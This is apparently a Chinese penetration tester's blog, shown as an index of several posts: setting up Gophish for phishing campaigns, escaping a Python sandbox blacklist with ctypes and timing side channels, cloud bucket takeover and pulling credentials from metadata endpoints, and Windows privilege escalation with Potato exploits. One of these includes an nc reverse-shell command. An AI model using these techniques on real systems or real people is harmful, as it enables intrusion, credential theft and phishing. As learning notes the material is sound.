docs on kiiy's blog

Mon, 01 Jan 0001 00:00:00 +0000

gophish钓鱼指南#

安装#

首先是gophish的安装，简单不多说

https://github.com/gophish/gophish/releases/

新建gophish目录，解压出来，里面有一个gophish可执行文件，给个执行权限

然后编辑里面的config.json文件

gophish有两个server，一个是管理后台，3333端口，一个是用于搭建钓鱼页面的，80端口。端口冲突自行修改即可。

{
        "admin_server": {
                "listen_url": "0.0.0.0:3333",    #把127.0.0.1修改为0.0.0.0
                "use_tls": true,
                "cert_path": "gophish_admin.crt",
                "key_path": "gophish_admin.key",
                "trusted_origins": []
        },
        "phish_server": {
                "listen_url": "0.0.0.0:80",
                "use_tls": false,
                "cert_path": "example.crt",
                "key_path": "example.key"
        },
        "db_name": "sqlite3",
        "db_path": "gophish.db",
        "migrations_prefix": "db/db_",
        "contact_address": "",
        "logging": {
                "filename": "",
                "level": ""
        }
}

模块讲解#

搭建好后会有初始密码，ip+3333端口登录后台。

一共有5个模块，具体作用如图

Sending Profiles#

首先来讲Sending Profiles

注意这里有个大坑，SMTP From那里不要加前缀，如admin<12346789@qq.com>，不然qq和163识别不出来，几乎所有的文章都加了前缀，当时卡了半天，这个前缀在后面的模块中是可以加的。

授权码需要去qq或者163申请，找到安全设置，看到SMTP无脑开通就行了，开通后会有一个授权码，一定要复制。

Email Templates#

接下来我们需要编辑钓鱼邮件了，除了自己写，还有一种就是导入邮件原文，可以模仿官方发送的邮件格式，效果更逼真。邮件原文可以直接查看。

有一个需要注意的地方，在我们编辑钓鱼链接时，href的地址本来应该是钓鱼页面的地址，也就是Landing Pages的地址对吧？

但是这里不用写，直接写一个{{.URL}}模板，在配置完Campaign后，gophish会自动帮我们填入。

<a href="{{.URL}}">点击跳转到钓鱼页面</a>

Landing Pages#

注意在网址导入时，是不支持含有文件夹的，比如当你进入一个web页面，按ctrl+s保存网页时，保存下来的有html，也有文件夹，这种就不支持。仅支持保存下来就只有一个html代码的。

User&Groups#

在导入文件时注意，如果使用的是windows系统，你从gophish下载的模板文件默认编码是ASNI，在导入中文时会出现乱码，解决方案是你编辑好模板文件后，在保存时，选择UTF-8

Mon, 01 Jan 0001 00:00:00 +0000

Python任意代码执行绕过姿势#

最近在项目测试实战中遇到了一个Python任意代码执行，本意是编写一段代码给到服务器执行，然后用来分析投资收益和财务情况，而每当这段python代码执行，服务器都会启动一个docker容器，并且容器与外部无法通信，只能执行系统命令，那说了这么多，shell那不是手到擒来？

但是存在黑名单过滤，具体黑名单模块如下：

[‘os’, ‘platform’, ’linecache’, ‘subprocess’, ‘builtins’, ‘requests’, ‘codecs’, ‘urllib’, ‘Popen’, ’eval’, ’exec’, ‘__builtins__’, ‘__import__’]

可以看到os和subprocess模块已经被过滤，无法直接import执行命令

eval和exec同样被过滤了，动态执行字符串代码这条路看样子也不太行

动态导入__import__函数，requests http请求同样被过滤

并且还存在一个问题，那就是没有回显，只返回执行时间，无法知道执行结果

那如何解决这些问题呢？

1.ctypes的魔力#

ctypes 模块是 Python 中的一个标准库，用于与 C 语言编写的动态链接库（dll 、so或共享库）进行交互。它允许 Python 程序直接调用 C 库中的函数，并与它们传递数据。

通过上面的解释我们可以发现，ctypes是可以调用系统动态链接库的，那么我们可以加载 Linux 的 C 标准库（libc），代码如下图

这段代码可以在大多数linux上执行

import ctypes

# 获取 libc 库
libc = ctypes.CDLL("libc.so.6")

# 定义要执行的命令
command = b"ls"

# 使用 libc 的 system 函数执行命令
libc.system(command)

这段代码可以绕过上面的黑名单，但是还有一个问题便是没有回显

2.time的利用#

当时我在思考如何回显时，突然想到了一个很类似的情况，sql blind time based，基于时间的sql盲注，仔细想想是不是很相似，也是通过时间返回来判断出回显数据。代码如下

import ctypes
import time

libc = ctypes.CDLL("libc.so.6")

command = b"id > /tmp/success 2>&1"

libc.system(command)

with open('/tmp/success', 'r') as f:
    text = f.read()

if ord(text.strip()[0]) > 79: #使用二分法
    time.sleep(10)

这样我们就可以通过时间判断命令执行结果，我当时测试到这儿就结束了，觉得没有其他方法了

Mon, 01 Jan 0001 00:00:00 +0000

云安全学习篇#

OSS#

权限配置#

oss存储桶有三种情况，一种是私有，需要id和key才能访问存储桶内的文件。另一种是公共读，即访问无限制，任何人可以访问。最后一种是公共读写，即任何人可以读和写，使用PUT方法即可上传任意文件

公共读还存在一个安全问题，即如果开启了ListObject，那么任何人都可以看到存储桶内的文件，以文件列表形式展示，类似目录遍历

域名接管#

一般来说存储桶不会解析像html这种文件，但是如果配置了域名绑定，也就是配置了CNAME，那么html就可以解析了，可以导致xss

域名接管就是基于域名绑定CNAME的配置没有删除，只删除了存储桶

举个例，比如你的oss地址是xxx.oss-cn-shenzhen.aliyuncs.com，此时你将images.aaa.com的域名绑定在了xxx.oss-cn-shenzhen.aliyuncs.com，也就是一条CNAME记录。之后你不想要这个存储桶了，于是删除了xxx.oss-cn-shenzhen.aliyuncs.com这个存储桶，但是你忘记删除CNAME记录了，也就是说此时images.aaa.com的域名还存在一条CNAME记录指向xxx.oss-cn-shenzhen.aliyuncs.com。

此时攻击者就可以自己创建一个xxx.oss-cn-shenzhen.aliyuncs.com，名称相同的存储桶，此时他对该存储桶是有读写权限的，而你的域名images.aaa.com又恰好指向xxx.oss-cn-shenzhen.aliyuncs.com，这就造成了images.aaa.com子域名接管

攻击场景

像如果你发现一个oss存储桶出现NosuchBucket提示，说明可能会存在域名接管。

ECS#

元数据#

元数据服务是一种提供查询运行中的实例内元数据的服务，简单来说就是云服务器可以通过访问元数据服务，来得到本机上的属性信息，同时，如果此时该实例存在RAM访问控制设置，也就是某个角色授权了该实例，那么就可以获得与该实例绑定角色的临时凭证，并通过该临时凭证获得云服务器的控制台权限，进而横向到其他机器。

阿里云元数据地址: http://100.100.100.200/
腾讯云元数据地址: http://metadata.tencentyun.com/
华为云元数据地址: http://169.254.169.254/
亚马云元数据地址: http://169.254.169.254/
微软云元数据地址: http://169.254.169.254/
谷歌云元数据地址: http://metadata.google.internal/

通过访问元数据的 /iam/security-credentials/<rolename> 路径可以获得目标的临时凭证，进而接管目标服务器控制台账号权限，前提是目标需要配置 IAM 角色才行，不然访问会 404

curl http://169.254.169.254/latest/meta-data/iam/security-credentials

因此接管整个云服务只需获得到aksk即可

那么如何获取呢，第一种方法就是寻找代码中有没有泄露aksk。第二种方法是使用实例去访问元数据服务，获取临时凭证。

那么第二种方法很显然需要shell，能够执行curl命令，访问元数据。那么还有没有方法可以获取到呢？

我们要注意的是这里的请求是http请求，那么联系其他漏洞，是否可以使用ssrf去访问到元数据呢？答案是肯定的，不过需要有回显的ssrf，获取到aksk。再用cf接管整个云服务。

docker#

docker逃逸是个老话题，之前没有系统学习，学得都比较杂，这次整理一下笔记

逃逸不过三种方法，但是需要注意的是，除了linux内核逃逸，其他都需要root权限

特权模式
危险挂载
docker自身组件漏洞或linux内核漏洞

特权模式#

Linux Capabilities介绍#

Linux 是一种安全的操作系统，它把所有的系统权限都赋予了一个单一的 root 用户，只给普通用户保留有限的权限。root 用户拥有超级管理员权限，可以安装软件、允许某些服务、管理用户等。

作为普通用户，如果想执行某些只有管理员才有权限的操作，以前只有两种办法：一是通过 sudo 提升权限，如果用户很多，配置管理和权限控制会很麻烦；二是通过 SUID（Set User ID on execution）来实现，它可以让普通用户允许一个 owner 为 root 的可执行文件时具有 root 的权限。

Mon, 01 Jan 0001 00:00:00 +0000

权限提升#

windows#

msf提权模块#

环境：windows2008 r2 + iis + asp

使用哥斯拉连接，whoami查看用户为iis用户，权限较小

上线msf

使用multi/recon/local_exploit_suggester提权模块

cs插件提权#

首先上线cs，这里不赘述

使用LSTAR插件，点击左上角cobalt strike，选择脚本管理器，添加脚本，选中.cna文件添加

然后选择烂土豆模块进行提取

执行whoami命令，可以看到为system权限

之后执行cs木马，即可以system用户上线cs

土豆家族#

这篇文章记录了土豆家族几乎所有的变种

https://mp.weixin.qq.com/s/OW4ybuqtErh_ovkTWLSr8w

这里就展示几个复现成功的，有的编译有问题，还有的执行有问题，可能是我的环境问题，winserver 2016

BadPotato

BadPotato.exe whoami

EfsPotato

EfsPotato.exe whoami

juicyPotato

JuicyPotatoNG.exe -t * -p C:/aa/nc64.exe -a "192.168.239.1 2333 -e c:\windows\system32\cmd.exe"

PetitPotato

PetitPotato.exe <0-12> whoami

PrintNotifyPotato

PrintNotifyPotato whoami

bypass UAC#

在本地用户管理员组在getsystem提权过程中会出现uac问题

本文记录一些bypass uac的方法